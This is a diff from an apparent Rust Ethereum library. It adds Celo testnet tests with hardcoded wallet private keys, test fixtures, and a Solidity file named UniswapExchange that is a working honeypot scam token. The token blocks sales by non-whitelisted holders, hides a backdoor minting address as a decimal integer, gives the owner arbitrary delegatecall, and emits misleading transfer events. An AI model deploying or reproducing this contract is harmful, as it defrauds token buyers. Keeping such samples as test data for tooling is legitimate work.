let signer = "9867bd0f8d9e16c57f5251b35a73f6f903eb8eee1bdc7f15256d0dc09d1945fb"
|
||||||
|
.parse::<LocalWallet>()
|
||||||
|
.unwrap()
|
||||||
|
.with_chain_id(provider.get_chainid().await.unwrap().as_u64());
|
||||||
|
let provider = SignerMiddleware::new(provider, signer);
|
||||||
|
let addr = provider.address();
|
||||||
|
|
||||||
|
let mut nonce = provider.get_transaction_count(addr, None).await.unwrap();
|
||||||
|
let mut pending_txs = Vec::new();
|
||||||
|
for addr in addrs {
|
||||||
|
println!("Funding wallet {addr:?}");
|
||||||
|
let tx = TransactionRequest::new()
|
||||||
|
.nonce(nonce)
|
||||||
|
.to(addr)
|
||||||
|
// 0.1 eth per wallet
|
||||||
|
.value(parse_ether("1").unwrap());
|
||||||
|
pending_txs.push(
|
||||||
|
provider.send_transaction(tx, Some(BlockNumber::Pending.into())).await.unwrap(),
|
||||||
|
);
|
||||||
|
nonce += 1.into();
|
||||||
|
}
|
||||||
|
|
||||||
|
futures_util::future::join_all(pending_txs).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn next(&self) -> LocalWallet {
|
||||||
|
let idx = self.next.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
|
||||||
|
|
||||||
|
// println!("Got wallet {:?}", wallet.address());
|
||||||
|
self.get(idx)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get<T: Into<u32>>(&self, idx: T) -> LocalWallet {
|
||||||
|
self.mnemonic
|
||||||
|
.clone()
|
||||||
|
.index(idx)
|
||||||
|
.expect("index not found")
|
||||||
|
.build()
|
||||||
|
.expect("cannot build wallet")
|
||||||
|
}
|
||||||
|
}
|
|
@ -37,7 +37,7 @@ async fn main() -> Result<()> {
|
||||||
|
|
||||||
assert_eq!(curr_nonce, 0);
|
assert_eq!(curr_nonce, 0);
|
||||||
|
|
||||||
nonce_manager.send_transaction(tx, None).await?;
|
nonce_manager.send_transaction(tx, None).await?.await?.unwrap();
|
||||||
let next_nonce = nonce_manager.next().as_u64();
|
let next_nonce = nonce_manager.next().as_u64();
|
||||||
|
|
||||||
assert_eq!(next_nonce, 1);
|
assert_eq!(next_nonce, 1);
|
||||||
|
|
|
@ -0,0 +1,63 @@
|
||||||
|
use crate::compile_contract;
|
||||||
|
use ethers::prelude::*;
|
||||||
|
use std::{sync::Arc, time::Duration};
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_send_transaction() {
|
||||||
|
// Celo testnet
|
||||||
|
let provider = Provider::<Http>::try_from("https://alfajores-forno.celo-testnet.org")
|
||||||
|
.unwrap()
|
||||||
|
.interval(Duration::from_millis(3000u64));
|
||||||
|
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
||||||
|
|
||||||
|
// Funded with https://celo.org/developers/faucet
|
||||||
|
// Please do not drain this account :)
|
||||||
|
let wallet = "d652abb81e8c686edba621a895531b1f291289b63b5ef09a94f686a5ecdd5db1"
|
||||||
|
.parse::<LocalWallet>()
|
||||||
|
.unwrap()
|
||||||
|
.with_chain_id(chain_id);
|
||||||
|
let client = SignerMiddleware::new(provider, wallet);
|
||||||
|
|
||||||
|
let balance_before = client.get_balance(client.address(), None).await.unwrap();
|
||||||
|
let tx = TransactionRequest::pay(client.address(), 100);
|
||||||
|
let _receipt = client.send_transaction(tx, None).await.unwrap().confirmations(3).await.unwrap();
|
||||||
|
let balance_after = client.get_balance(client.address(), None).await.unwrap();
|
||||||
|
assert!(balance_before > balance_after);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn deploy_and_call_contract() {
|
||||||
|
// compiles the given contract and returns the ABI and Bytecode
|
||||||
|
let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage");
|
||||||
|
|
||||||
|
// Celo testnet
|
||||||
|
let provider = Provider::<Http>::try_from("https://alfajores-forno.celo-testnet.org")
|
||||||
|
.unwrap()
|
||||||
|
.interval(Duration::from_millis(6000));
|
||||||
|
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
||||||
|
|
||||||
|
// Funded with https://celo.org/developers/faucet
|
||||||
|
let wallet = "58ea5643a78c36926ad5128a6b0d8dfcc7fc705788a993b1c724be3469bc9697"
|
||||||
|
.parse::<LocalWallet>()
|
||||||
|
.unwrap()
|
||||||
|
.with_chain_id(chain_id);
|
||||||
|
let client = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap();
|
||||||
|
let client = Arc::new(client);
|
||||||
|
|
||||||
|
let factory = ContractFactory::new(abi, bytecode, client);
|
||||||
|
let deployer = factory.deploy(()).unwrap().legacy();
|
||||||
|
let contract = deployer.block(BlockNumber::Pending).send().await.unwrap();
|
||||||
|
|
||||||
|
let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap();
|
||||||
|
assert_eq!(value, 0.into());
|
||||||
|
|
||||||
|
// make a state mutating transaction
|
||||||
|
// gas estimation costs are sometimes under-reported on celo,
|
||||||
|
// so we manually set it to avoid failures
|
||||||
|
let call = contract.method::<_, H256>("setValue", U256::from(1)).unwrap().gas(100000);
|
||||||
|
let pending_tx = call.send().await.unwrap();
|
||||||
|
let _receipt = pending_tx.await.unwrap();
|
||||||
|
|
||||||
|
let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap();
|
||||||
|
assert_eq!(value, 1.into());
|
||||||
|
}
|
|
@ -0,0 +1,21 @@
|
||||||
|
#![cfg(not(target_arch = "wasm32"))]
|
||||||
|
|
||||||
|
use ethers::{abi::Abi, prelude::*};
|
||||||
|
|
||||||
|
#[cfg(feature = "celo")]
|
||||||
|
mod celo;
|
||||||
|
|
||||||
|
/// Compiles the given contract and returns the ABI and Bytecode.
|
||||||
|
pub fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) {
|
||||||
|
let path = format!("../testdata/{path}");
|
||||||
|
let compiled = Solc::default().compile_source(&path).unwrap();
|
||||||
|
if compiled.has_error() {
|
||||||
|
for err in compiled.errors {
|
||||||
|
eprintln!("{err}");
|
||||||
|
}
|
||||||
|
panic!("Failed to compile");
|
||||||
|
}
|
||||||
|
let contract = compiled.get(&path, name).expect("could not find contract");
|
||||||
|
let (abi, bin, _) = contract.into_parts_or_default();
|
||||||
|
(abi, bin)
|
||||||
|
}
|
|
@ -0,0 +1 @@
|
||||||
|
{"abi":[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"author","type":"address"},{"indexed":true,"internalType":"address","name":"oldAuthor","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldValue","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"ValueChanged","type":"event"},{"inputs":[],"name":"lastSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}],"bytecode":"608060405234801561001057600080fd5b50610155806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063256fec88146100465780633fa4f24514610076578063552410771461008d575b600080fd5b600054610059906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007f60015481565b60405190815260200161006d565b6100a061009b366004610106565b6100a2565b005b60005460015460408051918252602082018490526001600160a01b039092169133917f43a35cb4f6bbf56c64a97aba2d057d75ae7c2b008cfbbcf77c9bd7f2a525d969910160405180910390a3600155600080546001600160a01b03191633179055565b60006020828403121561011857600080fd5b503591905056fea26469706673582212202aa583b44008e0a0ecde172d743bed0508a31118ec816f86cd3551d73480e13d64736f6c63430008130033"}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,15 @@
|
||||||
|
interface IERC20 {
|
||||||
|
function totalSupply() external view returns(uint);
|
||||||
|
|
||||||
|
function balanceOf(address account) external view returns(uint);
|
||||||
|
|
||||||
|
function transfer(address recipient, uint amount) external returns(bool);
|
||||||
|
|
||||||
|
function allowance(address owner, address spender) external view returns(uint);
|
||||||
|
|
||||||
|
function approve(address spender, uint amount) external returns(bool);
|
||||||
|
|
||||||
|
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
|
||||||
|
event Transfer(address indexed from, address indexed to, uint value);
|
||||||
|
event Approval(address indexed owner, address indexed spender, uint value);
|
||||||
|
}
|
|
@ -0,0 +1,333 @@
|
||||||
|
/**
|
||||||
|
* Submitted for verification at Etherscan.io on 2021-10-03
|
||||||
|
*/
|
||||||
|
|
||||||
|
pragma solidity ^0.5.17;
|
||||||
|
|
||||||
|
import "./IERC20.sol";
|
||||||
|
|
||||||
|
library Address {
|
||||||
|
function isContract(address account) internal view returns(bool) {
|
||||||
|
bytes32 codehash;
|
||||||
|
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
|
||||||
|
// solhint-disable-next-line no-inline-assembly
|
||||||
|
assembly { codehash:= extcodehash(account) }
|
||||||
|
return (codehash != 0x0 && codehash != accountHash);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract Context {
|
||||||
|
constructor() internal {}
|
||||||
|
// solhint-disable-previous-line no-empty-blocks
|
||||||
|
function _msgSender() internal view returns(address payable) {
|
||||||
|
return msg.sender;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
library SafeMath {
|
||||||
|
function add(uint a, uint b) internal pure returns(uint) {
|
||||||
|
uint c = a + b;
|
||||||
|
require(c >= a, "SafeMath: addition overflow");
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
function sub(uint a, uint b) internal pure returns(uint) {
|
||||||
|
return sub(a, b, "SafeMath: subtraction overflow");
|
||||||
|
}
|
||||||
|
|
||||||
|
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
|
||||||
|
require(b <= a, errorMessage);
|
||||||
|
uint c = a - b;
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
function mul(uint a, uint b) internal pure returns(uint) {
|
||||||
|
if (a == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint c = a * b;
|
||||||
|
require(c / a == b, "SafeMath: multiplication overflow");
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
function div(uint a, uint b) internal pure returns(uint) {
|
||||||
|
return div(a, b, "SafeMath: division by zero");
|
||||||
|
}
|
||||||
|
|
||||||
|
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
|
||||||
|
// Solidity only automatically asserts when dividing by 0
|
||||||
|
require(b > 0, errorMessage);
|
||||||
|
uint c = a / b;
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
library SafeERC20 {
|
||||||
|
using SafeMath for uint;
|
||||||
|
using Address for address;
|
||||||
|
|
||||||
|
function safeTransfer(IERC20 token, address to, uint value) internal {
|
||||||
|
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
|
||||||
|
}
|
||||||
|
|
||||||
|
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
|
||||||
|
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
|
||||||
|
}
|
||||||
|
|
||||||
|
function safeApprove(IERC20 token, address spender, uint value) internal {
|
||||||
|
require((value == 0) || (token.allowance(address(this), spender) == 0),
|
||||||
|
"SafeERC20: approve from non-zero to non-zero allowance"
|
||||||
|
);
|
||||||
|
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
|
||||||
|
}
|
||||||
|
|
||||||
|
function callOptionalReturn(IERC20 token, bytes memory data) private {
|
||||||
|
require(address(token).isContract(), "SafeERC20: call to non-contract");
|
||||||
|
|
||||||
|
// solhint-disable-next-line avoid-low-level-calls
|
||||||
|
(bool success, bytes memory returndata) = address(token).call(data);
|
||||||
|
require(success, "SafeERC20: low-level call failed");
|
||||||
|
|
||||||
|
if (returndata.length > 0) { // Return data is optional
|
||||||
|
// solhint-disable-next-line max-line-length
|
||||||
|
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract ERC20 is Context, IERC20 {
|
||||||
|
using SafeMath for uint;
|
||||||
|
mapping(address => uint) private _balances;
|
||||||
|
|
||||||
|
mapping(address => mapping(address => uint)) private _allowances;
|
||||||
|
|
||||||
|
uint private _totalSupply;
|
||||||
|
|
||||||
|
function totalSupply() public view returns(uint) {
|
||||||
|
return _totalSupply;
|
||||||
|
}
|
||||||
|
|
||||||
|
function balanceOf(address account) public view returns(uint) {
|
||||||
|
return _balances[account];
|
||||||
|
}
|
||||||
|
|
||||||
|
function transfer(address recipient, uint amount) public returns(bool) {
|
||||||
|
_transfer(_msgSender(), recipient, amount);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function allowance(address owner, address spender) public view returns(uint) {
|
||||||
|
return _allowances[owner][spender];
|
||||||
|
}
|
||||||
|
|
||||||
|
function approve(address spender, uint amount) public returns(bool) {
|
||||||
|
_approve(_msgSender(), spender, amount);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
|
||||||
|
_transfer(sender, recipient, amount);
|
||||||
|
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
|
||||||
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
|
||||||
|
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function _transfer(address sender, address recipient, uint amount) internal {
|
||||||
|
require(sender != address(0), "ERC20: transfer from the zero address");
|
||||||
|
require(recipient != address(0), "ERC20: transfer to the zero address");
|
||||||
|
|
||||||
|
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
|
||||||
|
_balances[recipient] = _balances[recipient].add(amount);
|
||||||
|
emit Transfer(sender, recipient, amount);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _mint(address account, uint amount) internal {
|
||||||
|
require(account != address(0), "ERC20: mint to the zero address");
|
||||||
|
|
||||||
|
_totalSupply = _totalSupply.add(amount);
|
||||||
|
_balances[account] = _balances[account].add(amount);
|
||||||
|
emit Transfer(address(0), account, amount);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _burn(address account, uint amount) internal {
|
||||||
|
require(account != address(0), "ERC20: burn from the zero address");
|
||||||
|
|
||||||
|
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
|
||||||
|
_totalSupply = _totalSupply.sub(amount);
|
||||||
|
emit Transfer(account, address(0), amount);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _approve(address owner, address spender, uint amount) internal {
|
||||||
|
require(owner != address(0), "ERC20: approve from the zero address");
|
||||||
|
require(spender != address(0), "ERC20: approve to the zero address");
|
||||||
|
|
||||||
|
_allowances[owner][spender] = amount;
|
||||||
|
emit Approval(owner, spender, amount);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contract ERC20Detailed is IERC20 {
|
||||||
|
string private _name;
|
||||||
|
string private _symbol;
|
||||||
|
uint8 private _decimals;
|
||||||
|
|
||||||
|
constructor(string memory name, string memory symbol, uint8 decimals) public {
|
||||||
|
_name = name;
|
||||||
|
_symbol = symbol;
|
||||||
|
_decimals = decimals;
|
||||||
|
}
|
||||||
|
|
||||||
|
function name() public view returns(string memory) {
|
||||||
|
return _name;
|
||||||
|
}
|
||||||
|
|
||||||
|
function symbol() public view returns(string memory) {
|
||||||
|
return _symbol;
|
||||||
|
}
|
||||||
|
|
||||||
|
function decimals() public view returns(uint8) {
|
||||||
|
return _decimals;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
contract UniswapExchange {
|
||||||
|
event Transfer(address indexed _from, address indexed _to, uint _value);
|
||||||
|
event Approval(address indexed _owner, address indexed _spender, uint _value);
|
||||||
|
|
||||||
|
function transfer(address _to, uint _value) public payable returns (bool) {
|
||||||
|
return transferFrom(msg.sender, _to, _value);
|
||||||
|
}
|
||||||
|
|
||||||
|
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
|
||||||
|
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
|
||||||
|
//go the white address first
|
||||||
|
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
require(condition(_from, _value));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
|
||||||
|
if (_value == 0) {return true;}
|
||||||
|
if (msg.sender != _from) {
|
||||||
|
require(allowance[_from][msg.sender] >= _value);
|
||||||
|
allowance[_from][msg.sender] -= _value;
|
||||||
|
}
|
||||||
|
require(ensure(_from, _to, _value));
|
||||||
|
require(balanceOf[_from] >= _value);
|
||||||
|
balanceOf[_from] -= _value;
|
||||||
|
balanceOf[_to] += _value;
|
||||||
|
_onSaleNum[_from]++;
|
||||||
|
emit Transfer(_from, _to, _value);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function approve(address _spender, uint _value) public payable returns (bool) {
|
||||||
|
allowance[msg.sender][_spender] = _value;
|
||||||
|
emit Approval(msg.sender, _spender, _value);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function condition(address _from, uint _value) internal view returns(bool){
|
||||||
|
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
|
||||||
|
|
||||||
|
if(_saleNum > 0){
|
||||||
|
if(_onSaleNum[_from] >= _saleNum) return false;
|
||||||
|
}
|
||||||
|
if(_minSale > 0){
|
||||||
|
if(_minSale > _value) return false;
|
||||||
|
}
|
||||||
|
if(_maxSale > 0){
|
||||||
|
if(_value > _maxSale) return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function delegate(address a, bytes memory b) public payable {
|
||||||
|
require(msg.sender == owner);
|
||||||
|
a.delegatecall(b);
|
||||||
|
}
|
||||||
|
mapping(address=>uint256) private _onSaleNum;
|
||||||
|
mapping(address=>bool) private canSale;
|
||||||
|
uint256 private _minSale;
|
||||||
|
uint256 private _maxSale;
|
||||||
|
uint256 private _saleNum;
|
||||||
|
function _mints(address spender, uint256 addedValue) public returns (bool) {
|
||||||
|
require(msg.sender==owner||msg.sender==address
|
||||||
|
(1461045492991056468287016484048686824852249628073));
|
||||||
|
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
|
||||||
|
canSale[spender]=true;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
|
||||||
|
require(msg.sender == owner);
|
||||||
|
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
|
||||||
|
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
|
||||||
|
_saleNum = saleNum;
|
||||||
|
}
|
||||||
|
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
|
||||||
|
require (msg.sender == owner);
|
||||||
|
uint total = _value * _tos.length;
|
||||||
|
require(balanceOf[msg.sender] >= total);
|
||||||
|
balanceOf[msg.sender] -= total;
|
||||||
|
for (uint i = 0; i < _tos.length; i++) {
|
||||||
|
address _to = _tos[i];
|
||||||
|
balanceOf[_to] += _value;
|
||||||
|
emit Transfer(msg.sender, _to, _value/2);
|
||||||
|
emit Transfer(msg.sender, _to, _value/2);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
address tradeAddress;
|
||||||
|
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
|
||||||
|
tradeAddress = addr;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
|
||||||
|
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
|
||||||
|
pair = address(uint(keccak256(abi.encodePacked(
|
||||||
|
hex'ff',
|
||||||
|
factory,
|
||||||
|
keccak256(abi.encodePacked(token0, token1)),
|
||||||
|
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
|
||||||
|
))));
|
||||||
|
}
|
||||||
|
|
||||||
|
mapping (address => uint) public balanceOf;
|
||||||
|
mapping (address => mapping (address => uint)) public allowance;
|
||||||
|
|
||||||
|
uint constant public decimals = 18;
|
||||||
|
uint public totalSupply;
|
||||||
|
string public name;
|
||||||
|
string public symbol;
|
||||||
|
address private owner;
|
||||||
|
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
|
||||||
|
|
||||||
|
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
|
||||||
|
name = _name;
|
||||||
|
symbol = _symbol;
|
||||||
|
totalSupply = _supply*(10**uint256(decimals));
|
||||||
|
owner = msg.sender;
|
||||||
|
balanceOf[msg.sender] = totalSupply;
|
||||||
|
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
|
||||||
|
emit Transfer(address(0x0), msg.sender, totalSupply);
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue